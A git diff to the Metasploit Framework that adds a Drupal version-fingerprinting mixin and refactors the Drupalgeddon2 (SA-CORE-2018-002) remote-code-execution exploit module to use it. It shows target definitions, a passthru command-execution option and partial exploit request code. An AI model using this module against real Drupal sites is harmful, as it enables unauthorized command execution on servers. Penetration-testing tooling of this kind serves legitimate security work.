diff --git a/lib/msf/core/exploit/http/drupal.rb b/lib/msf/core/exploit/http/drupal.rb new file mode 100644 index 0000000000000..b77c85e6350e7 --- /dev/null +++ b/lib/msf/core/exploit/http/drupal.rb @@ -0,0 +1,74 @@ +module Msf +module Exploit::Remote::HTTP::Drupal + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super + + register_options([ + OptString.new('TARGETURI', [true, 'Path to Drupal install', '/']) + ]) + end + + def setup + super + + # Ensure we don't hit a redirect (e.g., /drupal -> /drupal/) + # XXX: Naughty datastore modification instead of send_request_cgi! + datastore['TARGETURI'] = normalize_uri(datastore['TARGETURI'], '/') + end + + def drupal_version + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path) + ) + + return unless res && res.code == 200 + + # Check for an X-Generator header + version = version_match(res.headers['X-Generator']) + + return version if version + + # Check for a tag + generator = res.get_html_document.at( + '//meta[@name = "Generator"]/@content' + ) + + return unless generator + + version_match(generator.value) + end + + def drupal_changelog(version) + return unless version && Gem::Version.correct?(version) + + uri = Gem::Version.new(version) < Gem::Version.new('8') ? + normalize_uri(target_uri.path, 'CHANGELOG.txt') : + normalize_uri(target_uri.path, 'core/CHANGELOG.txt') + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => uri + ) + + return unless res && res.code == 200 + + res.body + end + + def version_match(string) + return unless string + + # Perl devs love me; Ruby devs hate me + string =~ /^Drupal (\d+)/ + + return unless $1 && Gem::Version.correct?($1) + + Gem::Version.new($1) + end + +end +end diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index e5182b541332d..838852c842da6 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -114,6 +114,7 @@ # Custom HTTP Modules require 'msf/core/exploit/http/wordpress' require 'msf/core/exploit/http/joomla' +require 'msf/core/exploit/http/drupal' require 'msf/core/exploit/http/typo3' require 'msf/core/exploit/http/jboss' diff --git a/modules/exploits/unix/webapp/drupal_drupalgeddon2.rb b/modules/exploits/unix/webapp/drupal_drupalgeddon2.rb index 59bce898c4b4b..044ff8d48daac 100644 --- a/modules/exploits/unix/webapp/drupal_drupalgeddon2.rb +++ b/modules/exploits/unix/webapp/drupal_drupalgeddon2.rb @@ -7,7 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::Drupal # XXX: CmdStager can't handle badchars include Msf::Exploit::PhpEXE include Msf::Exploit::FileDropper @@ -44,7 +44,6 @@ def initialize(info = {}) 'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64], 'Privileged' => false, 'Payload' => {'BadChars' => '&>\''}, - # XXX: Using "x" in Gem::Version::new isn't technically appropriate 'Targets' => [ # # Automatic targets (PHP, cmd/unix, native) @@ -75,25 +74,25 @@ def initialize(info = {}) ['Drupal 7.x (PHP In-Memory)', 'Platform' => 'php', 'Arch' => ARCH_PHP, - 'Version' => Gem::Version.new('7.x'), + 'Version' => Gem::Version.new('7'), 'Type' => :php_memory ], ['Drupal 7.x (PHP Dropper)', 'Platform' => 'php', 'Arch' => ARCH_PHP, - 'Version' => Gem::Version.new('7.x'), + 'Version' => Gem::Version.new('7'), 'Type' => :php_dropper ], ['Drupal 7.x (Unix In-Memory)', 'Platform' => 'unix', 'Arch' => ARCH_CMD, - 'Version' => Gem::Version.new('7.x'), + 'Version' => Gem::Version.new('7'), 'Type' => :unix_memory ], ['Drupal 7.x (Linux Dropper)', 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], - 'Version' => Gem::Version.new('7.x'), + 'Version' => Gem::Version.new('7'), 'Type' => :linux_dropper ], # @@ -102,25 +101,25 @@ def initialize(info = {}) ['Drupal 8.x (PHP In-Memory)', 'Platform' => 'php', 'Arch' => ARCH_PHP, - 'Version' => Gem::Version.new('8.x'), + 'Version' => Gem::Version.new('8'), 'Type' => :php_memory ], ['Drupal 8.x (PHP Dropper)', 'Platform' => 'php', 'Arch' => ARCH_PHP, - 'Version' => Gem::Version.new('8.x'), + 'Version' => Gem::Version.new('8'), 'Type' => :php_dropper ], ['Drupal 8.x (Unix In-Memory)', 'Platform' => 'unix', 'Arch' => ARCH_CMD, - 'Version' => Gem::Version.new('8.x'), + 'Version' => Gem::Version.new('8'), 'Type' => :unix_memory ], ['Drupal 8.x (Linux Dropper)', 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], - 'Version' => Gem::Version.new('8.x'), + 'Version' => Gem::Version.new('8'), 'Type' => :linux_dropper ] ], @@ -129,7 +128,6 @@ def initialize(info = {}) )) register_options([ - OptString.new('TARGETURI', [true, 'Path to Drupal install', '/']), OptString.new('PHP_FUNC', [true, 'PHP function to execute', 'passthru']), OptBool.new('DUMP_OUTPUT', [false, 'If output should be dumped', false]) ]) @@ -143,7 +141,9 @@ def initialize(info = {}) def check checkcode = CheckCode::Safe - if drupal_version + @version = target['Version'] || drupal_version + + if @version print_status("Drupal #{@version} targeted at #{full_uri}") checkcode = CheckCode::Detected else @@ -151,9 +151,15 @@ def check return CheckCode::Unknown end - if drupal_unpatched? + changelog = drupal_changelog(@version) + + if changelog && changelog.include?('SA-CORE-2018-002') + print_warning('Drupal appears patched in CHANGELOG.txt') + elsif changelog print_good('Drupal appears unpatched in CHANGELOG.txt') checkcode = CheckCode::Appears + else + print_error('Could not determine Drupal patch level') end token = random_crap @@ -167,7 +173,7 @@ def check end def exploit - unless check == CheckCode::Vulnerable || datastore['ForceExploit'] + if check == CheckCode::Safe && datastore['ForceExploit'] == false fail_with(Failure::NotVulnerable, 'Set ForceExploit to override') end @@ -282,9 +288,9 @@ def execute_command(cmd, opts = {}) res = case @version.to_s - when '7.x' + when '7' exploit_drupal7(func, cmd) - when '8.x' + when '8' exploit_drupal8(func, cmd) end @@ -300,72 +306,6 @@ def execute_command(cmd, opts = {}) res end - def drupal_version - if target['Version'] - @version = target['Version'] - return @version - end - - res = send_request_cgi( - 'method' => 'GET', - 'uri' => target_uri.path - ) - - return unless res && res.code == 200 - - # Check for an X-Generator header - @version = - case res.headers['X-Generator'] - when /Drupal 7/ - Gem::Version.new('7.x') - when /Drupal 8/ - Gem::Version.new('8.x') - end - - return @version if @version - - # Check for a tag - generator = res.get_html_document.at( - '//meta[@name = "Generator"]/@content' - ) - - return unless generator - - @version = - case generator.value - when /Drupal 7/ - Gem::Version.new('7.x') - when /Drupal 8/ - Gem::Version.new('8.x') - end - end - - def drupal_unpatched? - unpatched = true - - # Check for patch level in CHANGELOG.txt - uri = - case @version.to_s - when '7.x' - normalize_uri(target_uri.path, 'CHANGELOG.txt') - when '8.x' - normalize_uri(target_uri.path, 'core/CHANGELOG.txt') - end - - res = send_request_cgi( - 'method' => 'GET', - 'uri' => uri - ) - - return unless res && res.code == 200 - - if res.body.include?('SA-CORE-2018-002') - unpatched = false - end - - unpatched - end - def exploit_drupal7(func, code) vars_get = { 'q' => 'user/password', @@ -381,7 +321,7 @@ def exploit_drupal7(func, code) res = send_request_cgi( 'method' => 'POST', - 'uri' => target_uri.path, + 'uri' => normalize_uri(target_uri.path), 'vars_get' => vars_get, 'vars_post' => vars_post ) @@ -404,7 +344,7 @@ def exploit_drupal7(func, code) send_request_cgi( 'method' => 'POST', - 'uri' => target_uri.path, + 'uri' => normalize_uri(target_uri.path), 'vars_get' => vars_get, 'vars_post' => vars_post )